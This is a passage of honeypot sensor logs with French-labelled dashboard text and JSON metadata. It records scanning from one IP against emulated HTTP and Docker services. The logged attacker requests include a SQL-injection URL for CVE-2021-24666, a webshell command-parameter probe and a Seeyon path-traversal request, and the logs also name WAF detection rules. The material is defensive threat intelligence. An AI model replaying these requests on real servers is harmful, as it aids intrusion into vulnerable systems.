"intelligence", "sensor_role": "threat_intelligence", "event_signature": "70497d870bd4f35796edfd2f094375ec08d132e2", "protocol_details": { "http_method": "GET", "http_path": "\/index.php", "request_line": "GET \/index.php?rest_route=\/podlove\/v1\/social\/services\/contributor\/1&id=1%20UNION%20ALL%20SELECT%20NULL,NULL,md5('CVE-2021-24666'),NULL,NULL,NULL--%20- HTTP\/1.1", "http_user_agent": "Mozilla\/5.0 (ZZ; Linux i686) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/133.0.0.0 Safari\/537.36", "port": 7001, "service": "http", "service_label_fr": "HTTP" }, "evidence_snippet": "GET \/index.php?rest_route=\/podlove\/v1\/social\/services\/contributor\/1&id=1%20UNION%20ALL%20SELECT%20NULL,NULL,md5('CVE-2021-24666'", "attack_vector": "lfi path traversal \u00b7 via HTTP:7001 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/index.php", "target_port_label": "7001 \u00b7 HTTP", "emulator_service": "http", "confidence_reason": "Confiance 59 % \u2014 7 tag(s) WAF", "site_display": { "classification": null, "classification_reason": "Type \u00ab lfi_path_traversal \u00bb (signaux protocolaires) \u00b7 confiance 59%", "classification_reason_label_fr": "Type \u00ab lfi_path_traversal \u00bb (signaux protocolaires) \u00b7 confiance 59%", "executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 60\/100 (Moyen) \u2014 MITRE TA0001 \u2014 confiance 67 % \u2014 via HTTP \u2014 multi-protocole (2 protocoles \u00b7 5 min)", "confidence_pct": 67, "confidence_breakdown": { "waf": 100, "classification": 78, "behavior": 0, "geo": 0, "protocol": 33, "novelty": 30, "risk_score": 60, "correlation_boost": 8 }, "attack_stage": "exploit_attempt", "attack_stage_label": "Tentative d'exploit", "attack_chain_stage": "exploitation", "attack_chain_stage_label_fr": "Exploitation", "risk_score": 60, "risk_label": "Moyen", "service_name": "http", "service_label_fr": "HTTP", "dst_port": 7001, "protocol_emulated": true, "tags_summary": [ "CRS-930100-sub" ], "tags_summary_labels_fr": [ "CRS-930100-sub" ], "recommended_action": "investigate", "recommended_action_label": "Investiguer", "mitre": "TA0001", "mitre_technique": "TA0001", "persona_hostname": "mail.sensor-1.internal", "persona_service_banner": "honeypot-http", "correlation_flags": [ "multi_protocol_correlation" ], "correlation_flags_labels_fr": [ "Multi-protocole corr\u00e9l\u00e9 (5 min)" ], "sensor_role": "threat_intelligence", "sensor_role_label_fr": "Renseignement menaces", "confidence_hint_fr": "Corr\u00e9lation +8", "protocol_details": { "http_method": "GET", "http_path": "\/index.php", "request_line": "GET \/index.php?rest_route=\/podlove\/v1\/social\/services\/contributor\/1&id=1%20UNION%20ALL%20SELECT%20NULL,NULL,md5('CVE-2021-24666'),NULL,NULL,NULL--%20- HTTP\/1.1", "http_user_agent": "Mozilla\/5.0 (ZZ; Linux i686) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/133.0.0.0 Safari\/537.36", "port": 7001, "service": "http", "service_label_fr": "HTTP" }, "attack_vector": "lfi path traversal \u00b7 via HTTP:7001 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/index.php", "evidence_snippet": "GET \/index.php?rest_route=\/podlove\/v1\/social\/services\/contributor\/1&id=1%20UNION%20ALL%20SELECT%20NULL,NULL,md5('CVE-2021-24666'", "target_port_label": "7001 \u00b7 HTTP", "emulator_service": "http", "confidence_reason": "Confiance 59 % \u2014 7 tag(s) WAF", "confidence_factors_fr": "Confiance 67 % \u2014 Score WAF 100 \u00b7 Bonus corr\u00e9lation +8 \u00b7 7 tag(s) WAF", "campaign_hint_fr": null, "attack_phases_timeline_fr": [ { "key": "recon", "label_fr": "Reconnaissance", "active": false, "kind": "stage" }, { "key": "probe", "label_fr": "Sonde \/ probe", "active": false, "kind": "stage" }, { "key": "exploit_attempt", "label_fr": "Tentative d'exploit", "active": true, "kind": "stage" }, { "key": "post_exploit", "label_fr": "Post-exploitation", "active": false, "kind": "stage" }, { "key": "c2", "label_fr": "Commande & contr\u00f4le", "active": false, "kind": "stage" }, { "key": "exploitation", "label_fr": "Exploitation", "active": true, "kind": "chain", "hint_fr": null } ] }, "honeypot_persona": { "sensor_id": "sensor-1", "hostname": "mail.sensor-1.internal", "mail_host": "mail.sensor-1.internal", "ldap_dc": "dc.sensor-1.internal", "k8s_cluster": "hp-sensor-1", "domain": "sensor-1.internal", "service_role": "http", "service_banner": "honeypot-http", "service_os": "linux", "dst_port": "7001" }, "hostname": "mail.sensor-1.internal", "sensor_id": "sensor-1", "multi_protocol_correlation": true, "multi_protocol_count": 2, "multi_protocol_sample": [ "docker", "http" ], "multi_protocol_window_s": 300, "behavior_alerts": [ "multi_protocol_correlation" ], "correlation_confidence_boost": 8, "attack_chain_stage": "exploitation", "matched_patterns": [], "ban_policy": "advisory_investigate", "tags_list": [ "950001:sqli-0", "950317:lfi-14", "950325:rce-0", "950326:rce-0", "950381:rce-14", "950469:nosqli-3", "950470:nosqli-3", "anomaly:high-entropy-query", "net_web_probe" ] }
30/07/2026 21:49:31 UTC	TCP	2375 · DOCKER	docker	Sonde API Docker docker api probe · via DOCKER:2375 · (sonde / probe)	Élevée	Faible · 32
Étape Sonde / probe Chaîne Découverte Persona mail.sensor-1.internal Rôle capteur Renseignement menaces Corrélations Multi-protocole corrélé (5 min) MITRE TA0007 TA0007 TA0001 Protocole Émulateur DOCKER WAF — Recommandation Surveiller Tags docker_api_probe docker_emulated docker_payload mozi_pattern Cible HTTP — TLS SNI — Capteur paris-1
Preuve / Evidence Méthode — Port 2375 Chemin / cible — Service DOCKER Payload GET /index.php?rest_route=/podlove/v1/social/services/contributor/1&id=1%20UNION%20ALL%20SELECT%20NULL,NULL,md5('CVE-2021-24666' Pourquoi cette classification : Type « docker_api_probe » (signaux protocolaires) · confiance 0% Confiance classification 8% Corrélation +8 Risque capteur Faible · 32 Confiance : Confiance 0 % — 5 signal(aux) capteur Protocole émulé 1 Technique MITRE TA0007 Tactiques MITRE TA0007 TA0001 User-Agent — Règles WAF — Payload (extrait) GET /index.php?rest_route=/podlove/v1/social/services/contributor/1&id=1%20UNION%20ALL%20SELECT%20NULL,NULL,md5('CVE-2021-24666' Requête brute (extrait) GET /index.php?rest_route=/podlove/v1/social/services/contributor/1&id=1%20UNION%20ALL%20SELECT%20NULL,NULL,md5('CVE-2021-24666'),NULL,NULL,NULL--%20- HTTP/1.1 Host: 62.3.50.33:2375 User-Agent: Mozilla/5.0 (X11; Linux i686; rv:124.0) Gecko/20100101 Firef Meta JSON brut { "protocol_emulated": true, "emulator_response": "485454502f312e3120323030204f4b0d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6a736f6e0d0a5365727665723a20446f636b65722f32342e302e350d0a436f6e74656e742d4c656e6774683a2036380d0a0d0a7b2241706956657273696f6e223a22312e3431222c2256657273696f6e223a223234", "emulator_response_len": 162, "bytes_in": 325, "payload_entropy": 5.573117357739658, "port_category": "registered", "org": "Alibaba (US) Technology Co., Ltd.", "service": "docker", "app_proto": "docker", "asn": 45102, "country": "JP", "dst_port": 2375, "risk_waf": 8, "risk_classification": 60, "risk_behavior": 0, "risk_geo": 0, "risk_protocol": 30, "risk_novelty": 25, "risk_boost": 20, "risk_granularity": 4.8, "risk_breakdown": { "waf": 8, "classification": 60, "behavior": 0, "geo": 0, "protocol": 30, "novelty": 25 }, "risk_score": 32, "tag_count": 5, "anomaly_count": 0, "campaign_key": "e3d7f544a866a533f9cf364e707ea0fc45fd045d", "event_fingerprint": "00a875d783a0dbdbe0de1f97f4b47b47ab6b3d3e", "classification_reason": "Type \u00ab docker_api_probe \u00bb (signaux protocolaires) \u00b7 confiance 0%", "confidence": 0.08, "classification_confidence": 0.08, "precision_score": 0, "precision_signals": [], "kb_rule_ids": [], "confidence_breakdown": { "waf": 8, "classification": 60, "behavior": 0, "geo": 0, "protocol": 30, "novelty": 25, "risk_score": 32, "correlation_boost": 8 }, "named_classification_skipped": false, "service_name": "docker", "risk_confidence_factor": 0, "city": null, "is_datacenter": false, "is_tor_hint": false, "geo": { "country": "JP", "asn": 45102, "org": "Alibaba (US) Technology Co., Ltd.", "is_datacenter": false, "is_tor_hint": false }, "fingerprint": { "payload_hash": "77108c93dabc99fdd1650dc770e4d1c0", "path_pattern_hash": "f1831d9f4a5a77b3112c071eb8abe3e6" }, "target_context": { "dst_port": 2375, "service": "docker", "service_name": "docker", "risk_score": 32 }, "payload_preview": "GET \/index.php?rest_route=\/podlove\/v1\/social\/services\/contributor\/1&id=1%20UNION%20ALL%20SELECT%20NULL,NULL,md5('CVE-2021-24666'", "request_sample": "GET \/index.php?rest_route=\/podlove\/v1\/social\/services\/contributor\/1&id=1%20UNION%20ALL%20SELECT%20NULL,NULL,md5('CVE-2021-24666'),NULL,NULL,NULL--%20- HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (X11; Linux i686; rv:124.0) Gecko\/20100101 Firef", "payload_snippet": "GET \/index.php?rest_route=\/podlove\/v1\/social\/services\/contributor\/1&id=1%20UNION%20ALL%20SELECT%20NULL,NULL,md5('CVE-2021-24666'", "evidence": { "request_sample": "GET \/index.php?rest_route=\/podlove\/v1\/social\/services\/contributor\/1&id=1%20UNION%20ALL%20SELECT%20NULL,NULL,md5('CVE-2021-24666'),NULL,NULL,NULL--%20- HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (X11; Linux i686; rv:124.0) Gecko\/20100101 Firef", "payload_snippet": "GET \/index.php?rest_route=\/podlove\/v1\/social\/services\/contributor\/1&id=1%20UNION%20ALL%20SELECT%20NULL,NULL,md5('CVE-2021-24666'", "classification_reason": "Type \u00ab docker_api_probe \u00bb (signaux protocolaires) \u00b7 confiance 0%" }, "attack_stage": "probe", "mitre_tactics": [ "TA0007", "TA0001" ], "mitre": "TA0007", "threat_family": [ "cloud_infra_scan" ], "recommended_client_action": "monitor", "policy_mode": "intelligence", "sensor_role": "threat_intelligence", "event_signature": "5fe02e82b20dfd586ee21d60d9504aedfdfae51d", "protocol_details": { "payload_preview": "GET \/index.php?rest_route=\/podlove\/v1\/social\/services\/contributor\/1&id=1%20UNION%20ALL%20SELECT%20NULL,NULL,md5('CVE-2021-24666'", "port": 2375, "service": "docker", "service_label_fr": "DOCKER" }, "evidence_snippet": "GET \/index.php?rest_route=\/podlove\/v1\/social\/services\/contributor\/1&id=1%20UNION%20ALL%20SELECT%20NULL,NULL,md5('CVE-2021-24666'", "attack_vector": "docker api probe \u00b7 via DOCKER:2375 \u00b7 (sonde \/ probe)", "target_port_label": "2375 \u00b7 DOCKER", "emulator_service": "docker", "confidence_reason": "Confiance 0 % \u2014 5 signal(aux) capteur", "site_display": { "classification": null, "classification_reason": "Type \u00ab docker_api_probe \u00bb (signaux protocolaires) \u00b7 confiance 0%", "classification_reason_label_fr": "Type \u00ab docker_api_probe \u00bb (signaux protocolaires) \u00b7 confiance 0%", "executive_one_liner_fr": "Activit\u00e9 suspecte \u00b7 risque 32\/100", "confidence_pct": 8, "confidence_breakdown": { "waf": 8, "classification": 60, "behavior": 0, "geo": 0, "protocol": 30, "novelty": 25, "risk_score": 32, "correlation_boost": 8 }, "attack_stage": "probe", "attack_stage_label": "Sonde \/ probe", "attack_chain_stage": "discovery", "attack_chain_stage_label_fr": "D\u00e9couverte", "risk_score": 32, "risk_label": "Faible", "service_name": "docker", "service_label_fr": "DOCKER", "dst_port": 2375, "protocol_emulated": true, "tags_summary": null, "tags_summary_labels_fr": null, "recommended_action": "monitor", "recommended_action_label": "Surveiller", "mitre": "TA0007", "mitre_technique": "TA0007", "persona_hostname": "mail.sensor-1.internal", "persona_service_banner": "Docker 24.0.5", "correlation_flags": [ "multi_protocol_correlation" ], "correlation_flags_labels_fr": [ "Multi-protocole corr\u00e9l\u00e9 (5 min)" ], "sensor_role": "threat_intelligence", "sensor_role_label_fr": "Renseignement menaces", "confidence_hint_fr": "Corr\u00e9lation +8", "protocol_details": { "payload_preview": "GET \/index.php?rest_route=\/podlove\/v1\/social\/services\/contributor\/1&id=1%20UNION%20ALL%20SELECT%20NULL,NULL,md5('CVE-2021-24666'", "port": 2375, "service": "docker", "service_label_fr": "DOCKER" }, "attack_vector": "docker api probe \u00b7 via DOCKER:2375 \u00b7 (sonde \/ probe)", "evidence_snippet": "GET \/index.php?rest_route=\/podlove\/v1\/social\/services\/contributor\/1&id=1%20UNION%20ALL%20SELECT%20NULL,NULL,md5('CVE-2021-24666'", "target_port_label": "2375 \u00b7 DOCKER", "emulator_service": "docker", "confidence_reason": "Confiance 0 % \u2014 5 signal(aux) capteur", "confidence_factors_fr": "Confiance 8 % \u2014 Score WAF 8 \u00b7 Bonus corr\u00e9lation +8", "campaign_hint_fr": null, "attack_phases_timeline_fr": [ { "key": "recon", "label_fr": "Reconnaissance", "active": false, "kind": "stage" }, { "key": "probe", "label_fr": "Sonde \/ probe", "active": true, "kind": "stage" }, { "key": "exploit_attempt", "label_fr": "Tentative d'exploit", "active": false, "kind": "stage" }, { "key": "post_exploit", "label_fr": "Post-exploitation", "active": false, "kind": "stage" }, { "key": "c2", "label_fr": "Commande & contr\u00f4le", "active": false, "kind": "stage" }, { "key": "discovery", "label_fr": "D\u00e9couverte", "active": true, "kind": "chain", "hint_fr": null } ] }, "honeypot_persona": { "sensor_id": "sensor-1", "hostname": "mail.sensor-1.internal", "mail_host": "mail.sensor-1.internal", "ldap_dc": "dc.sensor-1.internal", "k8s_cluster": "hp-sensor-1", "domain": "sensor-1.internal", "service_role": "docker", "service_banner": "Docker 24.0.5", "service_os": "linux", "dst_port": "2375" }, "hostname": "mail.sensor-1.internal", "sensor_id": "sensor-1", "multi_protocol_correlation": true, "multi_protocol_count": 2, "multi_protocol_sample": [ "docker", "http" ], "multi_protocol_window_s": 300, "behavior_alerts": [ "multi_protocol_correlation" ], "correlation_confidence_boost": 8, "attack_chain_stage": "discovery", "matched_patterns": [], "ban_policy": "advisory_monitor", "tags_list": [ "docker_api_probe", "docker_emulated", "docker_payload", "mozi_pattern", "net_docker_api_probe" ] }
30/07/2026 21:49:28 UTC	TCP	7001 · HTTP	http	Upload webshell webshell upload · via HTTP:7001 · (tentative d'exploit) · → /device.rsp	Élevée	Moyen · 64
Étape Tentative d'exploit Chaîne Exploitation Persona mail.sensor-1.internal Rôle capteur Renseignement menaces Corrélations Multi-protocole corrélé (5 min) MITRE TA0001 TA0001 TA0002 Protocole GET /device.rsp UA Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/201001… Émulateur HTTP WAF 26 Recommandation Investiguer Tags 950325:rce-0 950326:rce-0 950470:nosqli-3 950629:webshell-param-cmd Cible HTTP GET /device.rsp TLS SNI — Capteur paris-1
Preuve / Evidence Méthode GET Port 7001 Chemin / cible /device.rsp Service HTTP Pourquoi cette classification : Règle WAF « webshell-param-cmd » · Paramètres de scan · confiance 50% Confiance classification 58% Corrélation +8 Risque capteur Moyen · 64 Confiance : Confiance 50 % — 4 tag(s) WAF Protocole émulé 1 Signaux Upstream Waf Score Technique MITRE TA0001 Tactiques MITRE TA0001 TA0002 Ligne de requête `GET /device.rsp?opt=user&cmd=list HTTP/1.1` User-Agent Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0 Règles WAF rce-0 nosqli-3 webshell-param-cmd Payload (extrait) GET /device.rsp?opt=user&cmd=list HTTP/1.1 Host: 62.3.50.33:7001 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0 Requête brute (extrait) GET /device.rsp?opt=user&cmd=list HTTP/1.1 Host: 62.3.50.33:7001 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0 Accept: / Accept-Language: en Accept-Encoding: gzip Meta JSON brut { "protocol_emulated": true, "emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a205765624c6f676963205365727665722031342e312e312e300d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2037390d0a0d0a3c68746d6c3e3c7469746c653e5765624c6f676963205365727665722043", "emulator_response_len": 177, "http_header_count": 5, "http_query_params": 2, "http_path_depth": 1, "http_path_ext": "rsp", "http_ua_hash": "d3ce73f62a6a80960de7932069c6e2dd0fb2d49c", "http_host_hash": "1e75f7b986cff91f40ab57cbc92b6aed66f05c5b", "http_target_hash": "35c85aeb2ee36480c7c605b25ed313ff3e3154ee", "http_referer_hash": null, "http_method": "GET", "http_ua_is_cli": false, "http_ua_is_browser": true, "bytes_in": 218, "payload_entropy": 5.341192856697927, "port_category": "registered", "org": "Alibaba (US) Technology Co., Ltd.", "service": "http", "app_proto": "http", "asn": 45102, "country": "JP", "dst_port": 7001, "risk_waf": 100, "risk_classification": 93, "risk_behavior": 0, "risk_geo": 0, "risk_protocol": 43, "risk_novelty": 25, "risk_boost": 0, "risk_granularity": 7, "risk_breakdown": { "waf": 100, "classification": 93, "behavior": 0, "geo": 0, "protocol": 43, "novelty": 25 }, "risk_score": 64, "tag_count": 8, "anomaly_count": 0, "campaign_key": "be05c8539da67d1be52bad02dacf1b5eb96b85ef", "event_fingerprint": "90d46b8afe47dfe71f220db013f4d09d46c80a9c", "classification_reason": "R\u00e8gle WAF \u00ab webshell-param-cmd \u00bb \u00b7 Param\u00e8tres de scan \u00b7 confiance 50%", "confidence": 0.58, "classification_confidence": 0.58, "precision_score": 55, "precision_signals": [ "INT-upstream", "INT-waf-score" ], "kb_rule_ids": [ "INT-upstream", "INT-waf-score" ], "confidence_breakdown": { "waf": 100, "classification": 93, "behavior": 0, "geo": 0, "protocol": 43, "novelty": 25, "risk_score": 64, "correlation_boost": 8 }, "named_classification_skipped": false, "service_name": "http", "risk_confidence_factor": 50, "city": null, "is_datacenter": false, "is_tor_hint": false, "geo": { "country": "JP", "asn": 45102, "org": "Alibaba (US) Technology Co., Ltd.", "is_datacenter": false, "is_tor_hint": false }, "fingerprint": { "http_ua_hash": "26b6e797f00889c3fdce328c3afbc226", "payload_hash": "fc2dcafd8ee0c2a0d055064e24a382b7", "path_pattern_hash": "a2003ac72861e84b5eb5400cffb83255" }, "target_context": { "dst_port": 7001, "service": "http", "service_name": "http", "risk_score": 64 }, "payload_preview": "GET \/device.rsp?opt=user&cmd=list HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:65.0", "method": "GET", "path": "\/device.rsp", "query_string": "opt=user&cmd=list", "user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko\/20100101 Firefox\/65.0", "waf_tags": [ "950325:rce-0", "950326:rce-0", "950470:nosqli-3", "950629:webshell-param-cmd" ], "waf_rule_names": [ "rce-0", "nosqli-3", "webshell-param-cmd" ], "request_line": "GET \/device.rsp?opt=user&cmd=list HTTP\/1.1", "request_sample": "GET \/device.rsp?opt=user&cmd=list HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko\/20100101 Firefox\/65.0\r\nAccept: \/\r\nAccept-Language: en\r\nAccept-Encoding: gzip\r\n\r\n", "payload_snippet": "GET \/device.rsp?opt=user&cmd=list HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:65.0", "evidence": { "method": "GET", "path": "\/device.rsp", "query_string": "opt=user&cmd=list", "user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko\/20100101 Firefox\/65.0", "waf_tags": [ "950325:rce-0", "950326:rce-0", "950470:nosqli-3", "950629:webshell-param-cmd" ], "waf_rule_names": [ "rce-0", "nosqli-3", "webshell-param-cmd" ], "request_line": "GET \/device.rsp?opt=user&cmd=list HTTP\/1.1", "request_sample": "GET \/device.rsp?opt=user&cmd=list HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko\/20100101 Firefox\/65.0\r\nAccept: \/\r\nAccept-Language: en\r\nAccept-Encoding: gzip\r\n\r\n", "payload_snippet": "GET \/device.rsp?opt=user&cmd=list HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:65.0", "classification_reason": "R\u00e8gle WAF \u00ab webshell-param-cmd \u00bb \u00b7 Param\u00e8tres de scan \u00b7 confiance 50%" }, "attack_stage": "exploit_attempt", "mitre_tactics": [ "TA0001", "TA0002" ], "mitre": "TA0001", "threat_family": [ "rce_probe" ], "recommended_client_action": "investigate", "policy_mode": "intelligence", "sensor_role": "threat_intelligence", "event_signature": "1b0529b6e978dd336b582ef210b3ff7ff454a544", "protocol_details": { "http_method": "GET", "http_path": "\/device.rsp", "request_line": "GET \/device.rsp?opt=user&cmd=list HTTP\/1.1", "http_user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko\/20100101 Firefox\/65.0", "port": 7001, "service": "http", "service_label_fr": "HTTP" }, "evidence_snippet": "GET \/device.rsp?opt=user&cmd=list HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:65.0", "attack_vector": "webshell upload \u00b7 via HTTP:7001 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/device.rsp", "target_port_label": "7001 \u00b7 HTTP", "emulator_service": "http", "confidence_reason": "Confiance 50 % \u2014 4 tag(s) WAF", "site_display": { "classification": null, "classification_reason": "R\u00e8gle WAF \u00ab webshell-param-cmd \u00bb \u00b7 Param\u00e8tres de scan \u00b7 confiance 50%", "classification_reason_label_fr": "R\u00e8gle WAF \u00ab webshell-param-cmd \u00bb \u00b7 Param\u00e8tres de scan \u00b7 confiance 50%", "executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 64\/100 (Moyen) \u2014 MITRE TA0001 \u2014 confiance 58 % \u2014 via HTTP \u2014 multi-protocole (2 protocoles \u00b7 5 min)", "confidence_pct": 58, "confidence_breakdown": { "waf": 100, "classification": 93, "behavior": 0, "geo": 0, "protocol": 43, "novelty": 25, "risk_score": 64, "correlation_boost": 8 }, "attack_stage": "exploit_attempt", "attack_stage_label": "Tentative d'exploit", "attack_chain_stage": "exploitation", "attack_chain_stage_label_fr": "Exploitation", "risk_score": 64, "risk_label": "Moyen", "service_name": "http", "service_label_fr": "HTTP", "dst_port": 7001, "protocol_emulated": true, "tags_summary": [ "INT-upstream", "INT-waf-score" ], "tags_summary_labels_fr": [ "Upstream", "Waf Score" ], "recommended_action": "investigate", "recommended_action_label": "Investiguer", "mitre": "TA0001", "mitre_technique": "TA0001", "persona_hostname": "mail.sensor-1.internal", "persona_service_banner": "honeypot-http", "correlation_flags": [ "multi_protocol_correlation" ], "correlation_flags_labels_fr": [ "Multi-protocole corr\u00e9l\u00e9 (5 min)" ], "sensor_role": "threat_intelligence", "sensor_role_label_fr": "Renseignement menaces", "confidence_hint_fr": "Corr\u00e9lation +8", "protocol_details": { "http_method": "GET", "http_path": "\/device.rsp", "request_line": "GET \/device.rsp?opt=user&cmd=list HTTP\/1.1", "http_user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko\/20100101 Firefox\/65.0", "port": 7001, "service": "http", "service_label_fr": "HTTP" }, "attack_vector": "webshell upload \u00b7 via HTTP:7001 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/device.rsp", "evidence_snippet": "GET \/device.rsp?opt=user&cmd=list HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:65.0", "target_port_label": "7001 \u00b7 HTTP", "emulator_service": "http", "confidence_reason": "Confiance 50 % \u2014 4 tag(s) WAF", "confidence_factors_fr": "Confiance 58 % \u2014 Score WAF 100 \u00b7 Bonus corr\u00e9lation +8 \u00b7 4 tag(s) WAF", "campaign_hint_fr": null, "attack_phases_timeline_fr": [ { "key": "recon", "label_fr": "Reconnaissance", "active": false, "kind": "stage" }, { "key": "probe", "label_fr": "Sonde \/ probe", "active": false, "kind": "stage" }, { "key": "exploit_attempt", "label_fr": "Tentative d'exploit", "active": true, "kind": "stage" }, { "key": "post_exploit", "label_fr": "Post-exploitation", "active": false, "kind": "stage" }, { "key": "c2", "label_fr": "Commande & contr\u00f4le", "active": false, "kind": "stage" }, { "key": "exploitation", "label_fr": "Exploitation", "active": true, "kind": "chain", "hint_fr": null } ] }, "honeypot_persona": { "sensor_id": "sensor-1", "hostname": "mail.sensor-1.internal", "mail_host": "mail.sensor-1.internal", "ldap_dc": "dc.sensor-1.internal", "k8s_cluster": "hp-sensor-1", "domain": "sensor-1.internal", "service_role": "http", "service_banner": "honeypot-http", "service_os": "linux", "dst_port": "7001" }, "hostname": "mail.sensor-1.internal", "sensor_id": "sensor-1", "multi_protocol_correlation": true, "multi_protocol_count": 2, "multi_protocol_sample": [ "docker", "http" ], "multi_protocol_window_s": 300, "behavior_alerts": [ "multi_protocol_correlation" ], "correlation_confidence_boost": 8, "attack_chain_stage": "exploitation", "matched_patterns": [], "ban_policy": "advisory_investigate", "tags_list": [ "950325:rce-0", "950326:rce-0", "950470:nosqli-3", "950629:webshell-param-cmd", "http_scanner_params", "http_suspicious_params", "iot_http_endpoint", "net_web_probe" ] }
30/07/2026 21:49:28 UTC	TCP	7001 · HTTP	http	Traversal LFI lfi path traversal · via HTTP:7001 · (tentative d'exploit) · → /seeyon/thirdpartyController.do.css/..;/ajax.do	Élevée	Moyen · 59
Étape Tentative d'exploit Chaîne Exploitation Persona mail.sensor-1.internal Rôle capteur Renseignement menaces Corrélations Multi-protocole corrélé (5 min) MITRE TA0001 TA0001 TA0002 Protocole GET /seeyon/thirdpartyController.do.css/..;/ajax.do UA Mozilla/5.0 (Debian; Linux i686) AppleWebKit/537.36 (KHTML, lik… Émulateur HTTP WAF 26 Recommandation Investiguer Tags 950324:rce-0 950326:rce-0 950468:nosqli-3 950470:nosqli-3 Cible HTTP GET /seeyon/thirdpartyController.do.css/..;/ajax.do TLS SNI — Capteur paris-1
Preuve / Evidence Méthode GET Port 7001 Chemin / cible /seeyon/thirdpartyController.do.css/..;/ajax.do Service HTTP Pourquoi cette classification : Type « lfi_path_traversal » (signaux protocolaires) · confiance 59% Confiance classification 67% Corrélation +8 Risque capteur Moyen · 59 Confiance : Confiance 59 % — Motif catalogue confirmé · 4 tag(s) WAF Protocole émulé 1 Signaux pat-0083 Technique MITRE TA0001 Tactiques MITRE TA0001 TA0002 Motifs de détection (base) CRS 930110 Ligne de requête `GET /seeyon/thirdpartyController.do.css/..;/ajax.do HTTP/1.1` User-Agent Mozilla/5.0 (Debian; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 Règles WAF rce-0 nosqli-3 Payload (extrait) GET /seeyon/thirdpartyController.do.css/..;/ajax.do HTTP/1.1 Host: 62.3.50.33:7001 User-Agent: Mozilla/5.0 (Debian; Linux i686 Requête brute (extrait) GET /seeyon/thirdpartyController.do.css/..;/ajax.do HTTP/1.1 Host: 62.3.50.33:7001 User-Agent: Mozilla/5.0 (Debian; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 Accept: / Accept-Language: en Accept-Encoding: gzip Meta JSON brut { "protocol_emulated": true, "emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a205765624c6f676963205365727665722031342e312e312e300d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2037390d0a0d0a3c68746d6c3e3c7469746c653e5765624c6f676963205365727665722043", "emulator_response_len": 177, "http_header_count": 5, "http_query_params": 0, "http_path_depth": 4, "http_path_ext": "do", "http_ua_hash": "d10c4e2d0485f9e62d840eb53cca0e91d2300e06", "http_host_hash": "1e75f7b986cff91f40ab57cbc92b6aed66f05c5b", "http_target_hash": "2307642bc7c83f0b65655a7cefb5d11cd34fff3c", "http_referer_hash": null, "http_method": "GET", "http_ua_is_cli": false, "http_ua_is_browser": true, "bytes_in": 260, "payload_entropy": 5.3800073493760205, "port_category": "registered", "org": "Alibaba (US) Technology Co., Ltd.", "service": "http", "app_proto": "http", "asn": 45102, "country": "JP", "dst_port": 7001, "risk_waf": 100, "risk_classification": 78, "risk_behavior": 0, "risk_geo": 0, "risk_protocol": 33, "risk_novelty": 25, "risk_boost": 0, "risk_granularity": 5.9, "risk_breakdown": { "waf": 100, "classification": 78, "behavior": 0, "geo": 0, "protocol": 33, "novelty": 25 }, "risk_score": 59, "tag_count": 5, "anomaly_count": 0, "campaign_key": "de1855d0d71addcae944a9824035fee426b1ebb9", "event_fingerprint": "59f57f6c294a1ee97d590a8db9de1fe6e6252cc9", "classification_reason": "Type \u00ab lfi_path_traversal \u00bb (signaux protocolaires) \u00b7 confiance 59%", "confidence": 0.67, "classification_confidence": 0.67, "precision_score": 70, "precision_signals": [ "pat-0083" ], "kb_rule_ids": [ "pat-0083" ], "matched_patterns": [ "pat-0083" ], "matched_pattern_names": [ "CRS 930110" ], "pattern_ids": [ "pat-0083" ], "confidence_breakdown": { "waf": 100, "classification": 78, "behavior": 0, "geo": 0, "protocol": 33, "novelty": 25, "risk_score": 59, "correlation_boost": 8 }, "named_classification_skipped": false, "classification_parent": "path_traversal", "service_name": "http", "risk_confidence_factor": 59, "city": null, "is_datacenter": false, "is_tor_hint": false, "geo": { "country": "JP", "asn": 45102, "org": "Alibaba (US) Technology Co., Ltd.", "is_datacenter": false, 